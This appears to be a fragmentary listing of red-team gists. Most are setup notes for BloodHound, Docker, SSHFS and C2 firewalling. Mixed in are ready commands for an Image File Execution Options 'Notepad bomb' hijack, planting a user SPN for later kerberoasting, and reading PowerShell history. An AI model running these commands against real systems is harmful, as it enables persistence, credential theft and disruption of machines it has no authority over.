vestjoe

Install Bloodhound on Ubuntu

References:

• https://github.com/BloodHoundAD/BloodHound
• https://blog.cobaltstrike.com/2016/12/14/my-first-go-with-bloodhound/
• https://popped.io/setting-up-bloodhound-on-debian-jessie/

Install Ubuntu

vestjoe

vestjoe

# Basic IPTABLES Template Script
# Author: Joe Vest, Andrew Chiles

# NOTES:
#  Description:
#    Template script to protect C2 infrastructure
#  Parameter Reference: 
#    TARGET_RANGE1 - IPs allowed only to ALLOWED_PORTS
#    ALLOWED_PORTS - port allowed from the TARGET_RANGE1
#    TEAM_RANGE1   - IPs allowed to connect to all ports

vestjoe

Docker-Compose

Reference: https://www.digitalocean.com/community/tutorials/how-to-install-docker-compose-on-ubuntu-16-04

sudo curl -L https://github.com/docker/compose/releases/download/1.18.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

Docker-CE

Reference: https://www.digitalocean.com/community/tutorials/how-to-install-docker-compose-on-ubuntu-16-04

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

vestjoe

Image File Execution Options - DOS

Notepad bomb

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /t REG_SZ /v Debugger /d "cmd.exe /c echo Come at me bro... && start C:\windows\notepad.exe&" /f

Explorer Bomb

vestjoe

SSHFS

sshfs is a filesystem based on the SSH file transfer protocol. It can be very useful to stand up an ADHOC file repository.

Reference:

http://www.ubuntux.org/fuse-sshfs/

Installation (Debian/Ubuntu)

vestjoe

Misc persistence techniques

Set User SPN for future kerberoast attacks

Set a SPN on a user account to provide to regain password to account that was changed.

Example

setspn -S MSSQLSvc/myhost.redmond.microsoft.com:1433 redmond\accountname  

vestjoe

Colors

println("\c0 \\c0 = White");
println("\c1 \\c1 = Inverted Highlighted Text"); # You can't see on dark backgrounds
println("\c2 \\c2 = Dark Blue");
println("\c3 \\c3 = Green");
println("\c4 \\c4 = Pink");
println("\c5 \\c5 = Red");
println("\c6 \\c6 = Purple");

vestjoe

Pyinstaller

python -m PyInstaller --onefile <script.py>

vestjoe

PowerShell.md

PowerShell commandline history

Get-PSReadlineOption | Select-Object -ExpandProperty HistorySavePath | Get-ChildItem | Get-Content

Screenshot